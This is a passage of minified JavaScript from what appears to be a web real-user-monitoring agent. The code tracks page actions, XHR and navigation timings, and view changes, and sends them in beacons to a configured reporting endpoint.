G=ne(!0),ea=Nd||Ld(),ya=[];if(!G&&b&&d&&a)ya=[String(!l),I(d),l||"-1",I(b),I(f||"-"),a,bg(),$a(bd()),"","",I(location.hash.substring(1)), I(r||"")];else if(ea){ea.hb();var ob=ea.status;ea.status=2;Zc(function(){ea.status=ob},0);ya=["false",I(ea.type),ea.id,I(ea.name),I(ea.info||"-"),ea.start,bg(),$a(bd()),"","",I(location.hash.substring(1)),I(ea.aa||"")]}return ya}function cd(a,b,d){void 0===b&&(b=null);var f=!1,l=ic();try{f=l.iSAC()}catch(G){}if(!f||l===C()){a&&(xc("-"),Ok=[]);f=Pb();if(!f){var r=cc();r&&ig($c("name"),$c("start"))&&3E3>=kc()-$c("validUntil")&&(f=r)}r=[];f&&!f.Sb?(f.vg(),r=Oe(f.start,f.Ob(),f.type,f.info,f.G,f.aa)): b?r=Oe(b.start,b.name,b.type,b.info,b.id,b.aa):a&&(r=Oe(d));a=r;d=Ok;1<d.length&&1<a.length&&d[3]===a[3]&&(d[2]=a[2],d[0]=a[0],a=d);a.length&&(d=ae,b=d.timestamp,f=d.group,d=[$a(d.name),b,$a(f||""),I(ce(d,!0))],xc(a.join("|"),d.join("|")),Ok=a.concat(d),(l=l.sSAC)&&l(!0,!0))}}function je(a,b){return tm("mcepsl")?Ca(b):Ca(b,Tc("mcepsl"))}function Wd(a,b,d){var f;void 0===d&&(d=!1);if("tvn"===a||"svn"===a||"tvg"===a||"svg"===a)return b;var l=Tc("mcepsl");return b&&b.length>l?(d&&(null===(f=mb.console)|| void 0===f?void 0:f.log("Truncating agent event because the size for property [".concat(a,"] exceeds size limit of ").concat(l," characters: [").concat(b.length,"]"))),Ga(b,l,"lcpSel"===a)):b}function jg(a,b){for(var d=Tc("mcepsl"),f=[],l=0;l<b.length;l++){var r=b[l],G=r[0],ea=r[1];r=G;if(0!==Hf){var ya=ae,ob=ya.name,zb=ya.group;ya=ya.timestamp;ea=ob&&ea===ob&&"tvn"===r||zb&&ea===zb&&("tvg"===r||"svg"===r)||ya&&ea===String(ya)&&"tvt"===r?"":ea}r=Wd;ob=fo[a];"function"===typeof ob&&(r=ob);"object"=== typeof ob&&ob[G]&&(r=ob[G]);ob=Ga(G,d);(G=r(G,ea))&&ob&&f.push([ob,G])}return f}function Fe(a,b){void 0===b&&(b=1);var d=[String(b),String(a.id),"_event_",String(a.timestamp),String(a.kind)];a=jg(a.kind,a.eb);Ac(a,function(f){var l=f[1];Ob(d,I(f[0]));Ob(d,I(l))});return d.join("|")}function Ge(a,b,d){for(var f,l,r="",G="",ea=0;ea<a.length;ea++){var ya=a[ea];ya.Uc();var ob=ya.Mb();ya.Qb(d);r||(r=ya.La());G=ya.La();if("_load_"===ya.type&&(de=!0,f=Sh)){G=[f.id,f.name,f.type,f.info,f.frameId,f.startTime]; f.isDelayed?(l="",f.anchor&&(l="#"+f.anchor),G.unshift("d"),Ob(G,f.qa+l,"")):G.unshift("s");Ob(G,f.aa||"");if(f.na){l=f.na;var zb=l.timestamp,pb=l.group;Ob(G,l.name);Ob(G,zb);pb&&Ob(G,pb)}f=f.qa;l=G.join("|");G=f;Ob(b,l);Sh=void 0}ya.parentFrameActionName&&(f=Ob,l=ya.pd,ya=[0,ya.Kd,I(ya.parentFrameActionName),l].join("|"),f(b,ya));Ob(b,ob)}return{Fa:r,qa:G}}function Ee(a,b){var d,f,l=ad(Le,function(ya){return(ya.Tc()||a||b)&&!ya.$e()}),r=ge;if(b){r=[];ge=[];for(var G=0;G<l.length;G++){var ea=l[G]; pc((d={},d.kind=3===ea.status?"ACTION_BEACON_FORCED":"ACTION_CLOSED",d.detail=(f={},f.a=ea.start,f.s=ea.stop,f.r=ea.ta(),f.i=ea.id,f.f=!0,f.t=ea.type,f.x=ea.xhrUrl,f.rt=void 0,f),d))}Ze.oa=[];Ab(Nd&&null!==Nd?Nd.tb():null);Nd=null}return{rg:l,Af:r}}function mi(a,b){void 0===a&&(a=!1);void 0===b&&(b=!1);var d=[],f=Ee(b,a);b=f.Af;f=Ge(f.rg,d,a);a=f.Fa;f=f.qa;Ac(um,function(l){Ob(d,Fe(l))});Le=na([],b,!0);um=[];return{pc:d.join(","),referer:a,sourceUrl:f}}function kg(a,b,d,f){for(var l=0,r=zl().slice();l< r.length;l++){var G=r[l];try{G(a,b,d,f)}catch(ea){}}}function tf(){return vg}function Wf(a,b,d,f,l,r,G){mj=!1;a=l||vg.qd(a,b,d);if(a.beacon){d=!!d;f=!!f;b=G;var ea;void 0===r&&(r=!1);void 0===b&&(b=(ea={},ea.contentType="",ea));if(Db()||!a.beacon)a=0;else{ea=a.referrer||O();Jd(b,"rf",Kc(encodeURIComponent(ea||""),Tc("mhl"))[0]);hc("owasp")&&(G=encodeURIComponent(ea||""),vg.av(a.beacon,"rf",G));G=kc();vg.av(a.beacon,"time",G);G=r;l=p;var ya=13>=l.sf,ob=!0;G=d&&rn&&!hc("dsndb")&&!ya&&!G||hc("svNB"); !G&&(f||d&&(l.sf||l.msf||hc("lab")||(l.ie||l.edge)&&kb))&&(ob=!1);d=ob;f=b;b=a.beacon;l=document.cookie;ya=pd(l);var zb=hk("dtLatC",l);ob=Xc("cuc");Jd(f,"sn",encodeURIComponent(ya));Jd(f,"latency",encodeURIComponent(zb));Jd(f,"flavor",hc("cors")?"cors":"post");if(void 0===f.crc){ya=b.gd?b.Rb:b.Yc();if("string"===typeof ya)b:{try{if(Th.TextEncoder){var pb=(new Th.TextEncoder).encode(ya);break b}}catch(Hc){}pb=[];for(zb=0;zb<ya.length;zb++){var Tb=ya.charCodeAt(zb);128>Tb?pb.push(Tb):2048>Tb?(pb.push(Tb>> 6|192),pb.push(Tb&63|128)):55296===(Tb&64512)&&zb+1<ya.length&&56320===(ya.charCodeAt(zb+1)&64512)?(Tb=65536+((Tb&1023)<<10)+(ya.charCodeAt(++zb)&1023),pb.push(Tb>>18|240),pb.push(Tb>>12&63|128),pb.push(Tb>>6&63|128),pb.push(Tb&63|128)):(pb.push(Tb>>12|224),pb.push(Tb>>6&63|128),pb.push(Tb&63|128))}}else pb=ya;ya=-1;for(zb=0;zb<pb.length;)ya=ya>>>8^sn[(ya^pb[zb++])&255];pb=(ya^-1)>>>0;-1!==pb&&(f.crc=pb)}Jd(f,"vi",encodeURIComponent(b.zb("vi")||qi()));Jd(f,"bp",3);Jd(f,"v",tn);Jd(f,"app",encodeURIComponent(Xc("app"))); Jd(f,"type","js3");Jd(f,"dtAdk",encodeURIComponent(Na("dtAdk",l)));Jd(f,"contentType","");Jd(f,"modifiedSince",Tc("lastModification"));Jd(f,"svrid",Li());ob&&(f.en=ob);f.contentType&&"srRs"===f.contentType&&Jd(f,"msl",Tc("msl"));f.end=1;b=hc("cors");pb=["type","sn","svrid","flavor","vi"];Ob(pb,"contentType","modifiedSince");hc("owasp")||Ob(pb,"rf");b&&Ob(pb,"dtAdk");Ob(pb,"bp");Xc("app")&&Ob(pb,"app");f.contentType&&Ob(pb,"v");-1!==f.crc&&Ob(pb,"crc");Xc("cuc")&&Ob(pb,"en");"srRs"===f.contentType&& Ob(pb,"msl");Ob(pb,"end");b=Xc("reportUrl");l=[];for(ob=0;ob<pb.length;ob++)ya=pb[ob],f[ya]&&Ob(l,ya+"="+f[ya]);(pb=l.join("&"))&&(b+="?"+pb);pb=lg(a.beacon);f=!0;for(l=0;l<pb.length;l++)f=!!ja(od,hd({xc:G,path:b,async:d,Fa:ea,beacon:a.beacon,Ka:pb[l],vc:l,wc:pb.length,Ge:r}),f);a=0;pb.length&&(a=f?2:1)}}else a=0;return a}function me(a,b,d,f,l,r,G){var ea=Id(Na("dtAdkSettings")).Vc;Ig=ea;if(1===ea)return 0;if(2===ea){if(d)return 0;Zc(function(){me(a,b,d,f,l,r,G)},5E3)}else return Wf(a,b,d,f,l,r,G); return 0}function Jd(a,b,d){void 0===a[b]&&(a[b]=d)}function lg(a){if(a.Rb)return[a.Rb];a=a.Yc();var b=Z(C())?145E3:Tc("msl")-40;b=0===a.length%b?Math.floor(a.length/b):Math.floor(a.length/b)+1;if(!(1<b))return[a];if(1>b||20<b)return[];b=Z(C())?145E3:Tc("msl")-40;var d="sid="+kc()+"&p#index#_#total#=";return Kc(a,b,d)}function Bg(a){Vc(a)}function Vc(a){if(mj){var b=!1;"number"===typeof a?kc()+a<Al&&(b=!0):b=!0;b&&(ti(Sm),mj=!1)}mj||(Al=kc()+(a||0),"number"===typeof a?(Sm=Zc(me,a),mj=!0):me())}function Cf(a, b,d){return me(b,d,!1,a)}function nf(a){Ob(zl(),function(b,d,f,l){a(l,d,f,l.Kb)})}function ih(){var a=qm;return 0===a?null:{severity:"Error",type:"be",text:"Beacon sending failed for ".concat(a," attempt").concat(1<a?"s":"","! Look in the browser DevTools for more information.")}}function Rg(){tn=$d(gb());vg=new go;Tm=0;Ud&&Ud(function(a,b,d){d&&(10>Gc.length?Gc.push(d):(a=Gc[10])?Gc[10]=String(Number(a)+1):Gc.push("1"))});Ig=Id(Na("dtAdkSettings")).Vc;rb("DEBUG_INFO_REQUESTED",ih)}function Eg(){for(var a= !1,b=[],d=0,f=ge;d<f.length;d++){var l=f[d];l.kc&&0<l.kc&&(l.Va&&kc()>l.Va&&(l.Va+=6E4,Ob(b,l)),a=!0)}0<b.length&&me(!0,!0);for(d=0;d<b.length;d++)b[d].kc--;a&&Zc(Eg,1E3)}function of(a,b,d){var f=Nd;f!==a&&(f&&!d&&Ab(f),(Nd=a)?ja(Yl,a.id,b):ye())}function Tg(a){eg=null;if(Wg&&Wg.gca){var b=Wg.gca();if(eg=b[b.length-1])a.Kd=eg.id,a.parentFrameActionName=eg.name,eg.childFrameActions?eg.childFrameActions++:eg.childFrameActions=1}}function Xf(a,b,d){if(hc("ffi"))return!0;b=String(b);d=String(d);for(var f= !1,l=f,r=f,G,ea=0;ea<a.length&&(!f||!l);ea++)G=a[ea].split("."),f=G[0],G=G[1],f=f===b,l=G===d,!r&&f&&d>G&&(r=!0);return f&&l?!0:f&&l||r}function Sg(){var a=Id(Na("dtAdkSettings")).Vc;if(Ig!==a&&(Ig=a,0!==a)){a=0;for(var b=ge;a<b.length;a++)b[a].Db()}}function Cg(){var a=[];for(var b=Ze.oa.length-1;0<=b;b--)if(Ze.oa[b].Tc()){var d=eb(Ze.oa,b);a=a.concat(d)}b=!1;Sg();d=ge;for(var f=d.length-1;0<=f;f--){var l=d[f];if(l.Ie)eb(d,f);else{var r=0<=mf(a,l),G=eg;r?(eb(d,f),b=!0):G&&(r=Wg.gca(),l.pd=n&&r[r.length- 1]===G?"S":"A",eg=null)}}b&&Vc()}function ni(){"hidden"===document.visibilityState?(Fh="1",Yf()):Fh="0"}function Yf(){var a;pc((a={},a.kind="PAGE_BACKGROUND_INFORMATION",a.detail=Fh,a))}function Df(a){Bl++;(a=$b(a.detail.i))&&!a.na&&(a.na=ae)}function Mf(a){Bl--;if(a=$b(a.detail.i))a.Ag=Fa(a.stop)||ae;1>Bl&&(lj=[])}function Ef(a,b,d){var f=b[Um[a]];b=b.startTime;if(f)if(0<=yc("yK",a))d.push(a,f);else if("T"===a)"number"===typeof f&&0>f&&0===f%1&&d.push(a,f);else{var l=f>=b;"j"===a&&Ue(f,2)&&Math.abs(f- b)<Zl&&(l=!1);var r=f;0<=yc("uvwxACDEFNOPQRSTU",a)?l=0<=f:"number"===typeof f?r=Math.round(f-b):r=f;l&&d.push(a,r)}}function wd(a,b,d){if(b=b[$l[a]]){var f=0<=b;"j"===a&&0===b&&(f=!1);f&&d.push(a,Math.round(b))}}function Nf(a,b,d){(b=b[am[a]])&&d.push(a,b)}function Ye(a,b){a=a.serverTiming;for(var d={},f=0,l=Pn;f<l.length;f++){var r=l[f];d[r]=""}if(a){for(f=0;f<a.length;f++)l=a[f],l.description&&!isNaN(Number(l.description))&&(r=l.name,r in d&&!d[r]&&(d[r]=l.description));d.dtRequestID&&(b.push("C"), b.push(d.dtRequestID));d.dtRpid&&(b.push("M"),b.push(d.dtRpid));d.dtSInfo&&(b.push("V"),b.push(d.dtSInfo));d.dtTao&&(b.push("W"),b.push(d.dtTao))}}function Ff(a,b,d,f){var l=0;for(a=oc(a);l<a.length;l++)d(a[l],b,f)}function Ug(){if(!window.performance)return[];var a=null,b=-1,d=performance.timeOrigin;"getEntriesByType"in performance&&(a=performance.getEntriesByType("navigation")[0])&&a.type&&(b=Vm[a.type]);a&&"responseEnd"in a||(a=performance.timing);-1===b&&(b=performance.navigation.type);d||(d= performance.timing.navigationStart);return(!C().googleBot||Z(C()))&&0<d?(b=["a",b,"b",Math.round(d)],k(a,b,d),b):[]}function k(a,b,d){if(Xa&&db(a,12)||db(a,["navigationStart"])&&!("entryType"in a))for(var f in Pk){if(Ra(Pk,f)){var l=f,r=a[Pk[l]];if(r){var G=r>=d;"j"===f&&r===d&&(G=!1);G&&b.push(l,Math.round(r-d))}}}else if(d=C(),d=d.gSig?d.gFU():{},ua(a)){Ff(Um,a,Ef,b);f=Ob;r=f.apply;G=[];if(ua(a)){if("xmlhttprequest"===a.initiatorType||"fetch"===a.initiatorType){var ea="1";Yg[a.name]&&(ea="11",delete Yg[a.name]); G.push("z",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);ea="";"frame"===a.initiatorType?ea="f":"iframe"===a.initiatorType||"subdocument"===a.initiatorType?ea=isNaN(d[a.name])?"i":"i"+d[a.name]:0<=(a.frameId||-1)&&(ea="r"+a.frameId);ea&&G.push("B",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);r.call(f,void 0,na([b],G,!1));b.push("I",null!==(l=vm[a.initiatorType])&&void 0!==l?l:0);Ye(a,b)}else Ka(a)?(Ff($l,a,wd,b),Ye(a,b)):Ff(am,a,Nf,b)}function w(){hc("ntd")||Qe(function(a, b,d,f){b||bm||!de||(bm=!0,a.av(f,"nt",Ug().join("")||"0",!0))})}function M(){var a;pc((a={},a.kind="INSTRUMENTATION_TRIGGERED",a.detail=void 0,a))}function A(a){var b=ge;Tg(a);Ob(b,a);b=Nd;b!==a&&(Ab(b),Nd=a);Ob(Le,a);Zc(Eg,5E3)}function Ta(a){var b=a.start,d=a.xhrUrl,f=a.nc,l=a.qa,r=a.Za;r=void 0===r?!1:r;var G=a.isCustomAction;G=void 0===G?!1:G;var ea=a.Ma;ea=void 0===ea?!1:ea;var ya=a.Rd;ya=void 0===ya?-1:ya;var ob=a.aa;ob=void 0===ob?"":ob;var zb=a.na,pb=a.ac;a=new qh(b,a.stop||b,a.type,a.name, a.info||"",a.domNodes||-1,xb(void 0===l?"":l),U(),d||"",G,ea,r,f,ya,ob,zb,pb);Sg();a.$b()&&Ob(Ze.oa,a);Ze.actions[a.id]=a;ja(nj);return a}function xb(a){if(a){var b=document.createElement("a");b.href=a;if("file:"===b.protocol||"about:"===b.protocol||b.hostname)return b.href;var d=function(f,l,r,G){f.av(G,"rfi",1,!1);wm(d)};Qe(d)}return location.href}function ec(a){var b,d,f;a.start||(a.start=kc());var l=Ta(a);l.ra=Zc(function(){l&&(3!==l.status||l.Pb())&&uc(l.id)},1E3*Tc("oat"));var r=null;switch(ma(a.pa)){case 1:r= Nd;break;case 2:if(r=$b(a.pa),!r&&"_load_"===a.type)return l}pc((b={},b.kind="ACTION_ENTERED",b.detail=(d={},d.i=l.id,d.a=a.start,d.s=0,d.x=a.xhrUrl,d.r=r?r.ta():l.id,d.t=l.type,d.e=null===(f=Pb())||void 0===f?void 0:f.target,d.rt=void 0,d),b));"undefined"===typeof a.Rd&&of(l,!1,!!r);if(r)for(r=r.tb(),r.Sc(l),a=0,b=ge;a<b.length;a++)d=b[a],d.Va>l.start+1E4&&(d.Va=l.start+1E4);else A(l.Ue()),Hj();return l}function uc(a,b,d){var f,l;a=$b(a);var r=b,G=C();if(!r&&a&&"_load_"===a.name&&"_load_"===a.type&& G.gLVD){r=Z(G);var ea=aa(mb.performance,"loadEventEnd");if(ea){var ya=G.gVCP();r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," vc time is: ").concat(ya,", and loadEventEnd time is: ").concat(ea,"."));r=Math.max(ya,ea)+ef()}else r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," No load event end, taking current time for load action end!")),r=kc();Z(G)&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," Computed load action end time with arguments: ").concat(JSON.stringify({endTime:b, $h:r}),"."))}b="number"===typeof r&&(null===a||void 0===a?void 0:a.isCustomAction);G=r||kc();a&&(pc((f={},f.kind="ACTION_LEFT",f.detail=(l={},l.i=a.id,l.a=a.start,l.s=G,l.r=a.ta(),l),f)),a.Wb(G,d,b),Cg());of(ed(),!0)}function qc(a,b,d){var f=Nd;"undefined"!==typeof b&&null!==b&&(f=$b(b));if(f)return f.Sc(a,d),!1;Tg(a);Ob(Le,a);return!0}function ud(a,b,d,f,l,r,G,ea){"undefined"===typeof f?f=!0:null===f&&(f=!1);a={name:Wa(a),type:b,start:d,pa:f,info:l||"",xhrUrl:r||"",isCustomAction:!!G};ea&&(a.qa= ea);return ec(a).id}function We(a,b,d){M();uc(a,b,d)}function Ei(a){for(var b=Ze.oa.slice(),d=0;d<b.length;d++)uc(b[d].id,a);return b.length}function Ie(a){for(var b=0,d=vf;b<d.length;b++)if(d[b].G===a)return!0;return!1}function Gf(a){var b=Oi();return!!(b&&b.exec&&a&&(b.exec(a)||b.exec(R(a))))}function bf(a,b,d,f,l,r,G){void 0===b&&(b=3);void 0===d&&(d="");void 0===f&&(f=!1);void 0===l&&(l=void 0);void 0===r&&(r=!1);void 0===G&&(G=!1);if(d&&Gf(d))return 0;var ea=wa(d),ya=Pb(),ob=a||"-",zb=ne(!1); if(se){if(zb&&!$b(zb))return 0;kb=!0}ya&&(ya.info="-"===ya.info?ob:ya.info+", "+ob);!zb&&ya&&ya.G&&(zb=ya.G);d=R(d);Yg[d]=!0;a={name:a,type:"xhr",start:kc(),info:ob,xhrUrl:ea,isCustomAction:f,nc:l,ac:G};zb?(ya=0,r||(a.pa=zb,ya=Je(a))):ya?(zb=0,3<=b&&(zb=kf(La(La({},a),{name:ya.Ob(),type:ya.type,start:ya.start,info:ya.info,qa:ya.url,pa:!1,aa:ya.aa||"",na:ya.view})),ya.G=zb,ya.Sb&&cd(!0,$b(zb))),ya=zb):(ya=Nd)?(zb=0,1<=b&&!r&&(zb=Je(La(La({},a),{pa:ya.id}))),ya=zb):ya=hc("cux")?kf(La(La({},a),{name:"Unlinked XHR", type:"xhr",pa:!1})):0;return ya}function kf(a){a:{var b=a.info;var d=a.xhrUrl;if(a.nc&&vf.length)for(var f=vf.length-1;0<=f;f--){var l=vf[f],r=l.G,G=Bd(r);if(G&&b&&b[0]!==l.Hf&&rc(G.xhrUrl||"")===l.xhrUrl&&l.xhrUrl===rc(d||"")){b=r;break a}}b=0}if(b)return b;a.Ma=!0;return ec(a).id}function Je(a){var b=a.pa,d=null;"number"===typeof b&&(d=Bd(b));a.pa=d?d.id:!0;return kf(a)}function Ed(a,b,d,f,l){void 0===b&&(b="");void 0===f&&(f=kc());var r=Bd(a);!r||l&&0>yc(r.info,l)&&r.name!==l||(d?Zc(function(){Ib(b)}, 0):Ib(b),Zc(function(){if(!kb){var G=f;Bd(a)&&uc(a,G)}},cm),M())}function mg(a,b){if(a){var d=Bd(a);d&&(d.cc++,d.Xa||b&&4!==b||d.Ze(kc()),Ob(nh,a),Dj++)}}function kh(a){if(a){var b=Bd(a);b&&(b.Ye(kc()),b.cc--,Dj--,Zc(function(){ze(a)},0))}}function Fd(a,b,d){if("number"!==typeof a||isNaN(a)||0>a)return!1;0===a&&(a=971,b="XHR Canceled");b&&(b+="");d=$b(d)||Nd;if(!d||-1!==d.jc||!d.Ma)return!1;d.jc=a;b&&0<b.length&&(d.$c=b);return!0}function lh(){return!hc("disableXhrFailures")}function Sd(a){return(a= $b(a))&&a.Ma?[a.Xa,a.jb]:[0,0]}function Bc(a,b){var d=Bd(a);if(d){var f=d.xhrUrl;d.Xc(b);d=0;for(var l=vf;d<l.length;d++){var r=l[d];r.G===a&&r.xhrUrl===rc(f)&&(r.xhrUrl=rc(b))}}}function qe(a){return(a=Bd(a))?a.xhrUrl:""}function fj(a,b,d,f){void 0===f&&(f="headers");a=a||{};b=b||a.url;a[f]=a[f]||{};var l=d||a.actionId;if(!a[f]||!md()||(null===Pi||void 0===Pi?0:Pi.test(b)))return a;var r=!(null===Qi||void 0===Qi||!Qi.test(b)),G="";d=Rd(l);if(r){G=zd(l);r=a;var ea=G,ya=f,ob=[],zb=pd(),pb=Li(zb).replace("-", "-2D");Ob(ob,'sn="v_4_srv_'.concat(pb,"_sn_").concat(Cl(zb),'"'));ea&&Ob(ob,'pc="'.concat(ea,'"'));Ob(ob,'v="'.concat(jk(),'"'));Ob(ob,'app="'.concat(Xc("app"),'"'));(ea=Na("dtAdk"))&&Ob(ob,'adk="'.concat(ea,'"'));Ob(ob,'r="'.concat(d,'"'));Lb(r,"x-dtc",ob.join(", "),ya)}if(oa(b))return a;r=hc("dpch");l&&(r||(ya=a,l=G||zd(l),G=f,l&&(Lb(ya,"x-dtpc",l,G),Q()&&(Lb(ya,"x-dtreferer",O(),G),Lb(ya,"x-host",Ha(b),G)))),d&&d!==O()&&Lb(a,"x-dtreferer",d,f));Gf(b)&&!r&&Lb(a,"x-dtpc","ignore",f);return a}function Zf(a){a= kk(a);if(!a)return null;try{return new RegExp(a,"i")}catch(b){}return null}function Fi(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"));rb("CONFIG_UPDATE",function(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"))})}function Gi(){var a=Nd;return a?a.name:""}function oi(a){for(var b=0,d=Ze.oa;b<d.length;b++)d[b].Wc=a.detail}function Cc(a){var b;return null===(b=$b(a))||void 0===b?void 0:b.Oe()}function sc(a){sd?a(C().bwsW,C().bwsH):Ob(te,a)}function uf(a){for(var b=te.length-1;0<=b;--b)if(a===te[b]){te.splice(b,1);break}}function Ae(){var a= document,b=a.documentElement,d=0,f=0,l=a.body;"number"===typeof self.innerWidth?(d=self.innerWidth,f=self.innerHeight):a&&(b.clientWidth||b.clientHeight)?(d=b.clientWidth,f=b.clientHeight):l&&(l.clientWidth||l.clientHeight)&&(d=l.clientWidth,f=l.clientHeight);if(0>d||0>f)a=0,p.ie?a=140:a=10,d=Math.max(d,a),f=Math.max(f,10);C().bwsW=d;C().bwsH=f;sd=!0;a=0;for(b=te;a<b.length;a++)(0,b[a])(d,f)}function Md(){var a=C();rb("LOAD_END",Ae);a.abwsl||(a.abwsl=sc,a.rbwsl=uf);var b=!1;Qe(function(d,f,l,r){if(!f&& !b&&(de||l)){b=!0;f=function(ob){return 0>ob||2147483647<=ob||isNaN(ob)?0:ob};var G=ic();l=G.bwsW||a.bwsW;G=G.bwsH||a.bwsH;0>=l&&(Ae(),l=a.bwsW,G=a.bwsH);l=f(l);var ea=f(G),ya=G=0;d.av(r,"w",l,!0);d.av(r,"h",ea,!0);if(l=mb.screen)G=f(l.width),ya=f(l.height),d.av(r,"sw",G,!0),d.av(r,"sh",ya,!0)}})}function cf(){var a=0,b=0,d=0,f="Info",l=[];hc("coo")&&hc("cooO")?(a++,Ob(l,{severity:"Info",text:"Opt-in mode is active, but dtrum.enable() has been called.",type:"cooeaoa"})):hc("coo")&&(f="Warning",b++, Ob(l,{severity:"Warning",text:"Opt-in mode is active. Call dtrum.enable() to start collecting data.",type:"cooe"}));Db()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Agent is currently disabled. This can be caused by Cost Control, Overload Prevention, missing RUM License or a disabled application",type:"jsad"}));hc("dsss")&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"DISABLE_SUBDOMAIN_SOURCEACTION_SUPPORT is set.",type:"sssd"}));a:{var r=Xc("featureHash");for(var G=0,ea="7degijmovx".split("");G< ea.length;G++)if(-1!==r.indexOf(ea[G])){r=!1;break a}r=!0}r&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"No module(that could detect a XHR) is active!",type:"nxma"}));Oc()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Should not track is set on this browser and respected by the RUM monitoring code!",type:"snt"}));hc("ssc")&&"https:"!==location.protocol&&(d++,f="Error",Ob(l,{severity:"Error",text:"Secure cookies are enabled, but can't be set as the page isn't using https.",type:"scbip"}));return 0< l.length?(a=[df(d,"Error"),df(b,"Warning"),df(a,"Info")],{severity:f,text:"".concat(a.join(""),"regarding agent configuration."),type:"ci",children:l}):null}function df(a,b){return a?"".concat(a," ").concat(b).concat(1<a?"s":""," "):""}function ug(){rb("DEBUG_INFO_REQUESTED",cf);Qe(function(a,b,d,f){hc("ssc")&&"https:"!==location.protocol&&a.av(f,"sconsp",1)})}function Td(){return Xc("rpid")?"automatically":"manually"}function gj(){xd=void 0;ba(document.currentScript)&&(Re=document.currentScript); rb("DEBUG_INFO_REQUESTED",function(){xd||(xd=Re?Re.src?Re.dataset.dtconfig?"OneAgent JavaScripTag ".concat(Td()," injected"):Re.src.includes("_complete")?"JavaScriptTag ".concat(Td()," injected"):Re.getAttribute("defer")?"CodeSnippetDeferred ".concat(Td()," injected"):"CodeSnippetSync ".concat(Td()," injected"):Re.dataset.dtconfig?"InlineCode ".concat(Td()," injected"):"Couldn't detect injection mode.":"Couldn't detect injection mode.");return{severity:"Info",text:xd,type:"im"}})}function Hi(a){switch(a){case 1:if((a= document.currentScript)&&ba(a)){a:{var b,d;if(document.documentElement&&(a=document.documentElement.outerHTML.split(a.outerHTML),2===a.length)){a=(null===(d=null===(b=a[0])||void 0===b?void 0:b.split("\n"))||void 0===d?void 0:d.length)+1;break a}a=void 0}return"Agent is double injected! Is it manually and automatic injected? Current used agent is near: ".concat(document.location,":").concat(a)}return"Agent is double injected! Is it manually and automatic injected?";case 2:return"Problem detected while agent initialization! Snippet couldn't initialize so can't initialize monitoring code"; case 3:return"Problem detected while agent initialization! Snippet couldn't initialize as initConfig didn't initialize.";default:return""}}function re(){rb("DEBUG_INFO_REQUESTED",function(){return 0!==C().di?{severity:"Error",text:Hi(C().di),type:"di"}:null});Qe(function(a,b,d,f){0===C().di||b||a.av(f,"di",C().di)})}function pi(){var a;return pc((a={},a.kind="DEBUG_INFO_REQUESTED",a.detail=void 0,a))}function Yd(){Qe(function(){if(!Pf.disableCookieManager){var a=pd();if(!a||-1===yc(a,"_srv_-"))try{if(mb.sessionStorage){var b= a,d=lk("dtCookie")||"";Mi(d)||(d="");if(d&&"null"!==d&&b!==d){var f=Id(d).sessionId||"";if("undefined"!==typeof b&&""!==b){if((d=b)&&f){var l=d,r=yc(l,"_sn_");if(-1!==r){var G=l.indexOf("_",r+4),ea=-1!==G?l.substring(r,G):l.substring(r);ea&&(l=l.replace(ea,"_sn_"+f))}d=l}var ya=d}else ya=d;b=ya}if(a=b)jj(a),Qk("dtCookie",a)}}catch(ob){}}})}function $f(a){rb("ACTION_ENTERED",function f(d){a.dtWF=f;d=d.detail;var l=d.i;a(l,d.a,d.r===l,d.e)})}function qf(a){rb("ACTION_LEFT",function f(d){a.dtWF=f;d= d.detail;var l=d.i;a(l,d.s,d.r===l)})}function rf(a,b){um.push(a);0===b?Vc():Vc(2E3)}function ag(a,b,d,f,l){void 0===d&&(d=!1);void 0===f&&(f=kc());void 0===l&&(l=0);var r=b;if(1===l&&"_csprv_"===a){if(0!==Hf){r=ae;var G=r.timestamp,ea=r.group,ya=r.trigger;b.push(["tvn",r.name]);b.push(["tvt",String(G)]);b.push(["tvtrg",String(ya)]);b.push(["tvm",ce(r)]);ea&&b.push(["tvg",ea])}r=b}a={id:ke(),timestamp:f,kind:a,eb:r};switch(ma(d)){case 1:(d=Nd)?d.Rc(a):rf(a,l);break;case 2:(d=$b(d))?d.Rc(a):rf(a,l); break;case 0:rf(a,l)}}function yf(a,b){return a?{oldView:a,newView:b}:{newView:b}}function Ch(a,b){void 0===b&&(b=Tc("vncm"));var d=document.createElement("a");d.href=a;a=d.hash;d=d.pathname;"/"!==d.charAt(0)&&(d="/"+d);0===b?b=d+a:2===b?(b=a||"/","#"===b.charAt(0)&&(b=b.replace("#","")),"/"!==b.charAt(0)&&(b="/"+b)):b=d;return b}function Pe(a,b){a.name=b.name;b.group&&(a.group=b.group);a.hydrated=!0}function Oh(a){var b=[],d=a.oldView,f=a.newView;if(d){var l=d.name,r=d.timestamp,G=d.group,ea=d.trigger; l&&r&&(b.push(["svn",l]),b.push(["svt",String(r)]),b.push(["svtrg",String(ea)]),b.push(["svm",ce(d)]));G&&b.push(["svg",G])}d=f.name;G=f.group;ea=f.trigger;b.push(["tvn",d]);b.push(["tvtrg",String(ea)]);b.push(["tvm",ce(f)]);G&&b.push(["tvg",G]);b.length&&ag("_view_",b,!1,a.newView.timestamp||void 0,1)}function Fg(a){de?Oh(a.detail):Ya(a.detail)}function Vg(a){a.detail.i===Kb&&(a=Xg,a.length&&(Ac(a,Oh),Xg=[]),wb("ACTION_SENT",Vg))}function F(a,b){void 0===b&&(b=Tc("dvl"));var d;return function(){for(var f= this,l=[],r=0;r<arguments.length;r++)l[r]=arguments[r];void 0!==d&&ti(d);d=Zc(function(){a.apply(f,l)},b)}}function P(){if(1===Hf){var a=ae,b=Ch(O());a=a.name;if(a+"/"===b)a=!1;else{var d=document.createElement("a"),f=document.createElement("a");d.href=a;f.href=b;a=d.pathname!==f.pathname||!document.getElementById(f.hash.substring(1))&&d.hash!==f.hash}a&&xa({name:b})}}function da(){var a,b=ae,d=oj;b.id!==d.id&&(pc((a={},a.kind="VIEW_STABLE",a.detail=yf(d,b),a)),oj=b)}function xa(a){var b,d=ae,f=La, 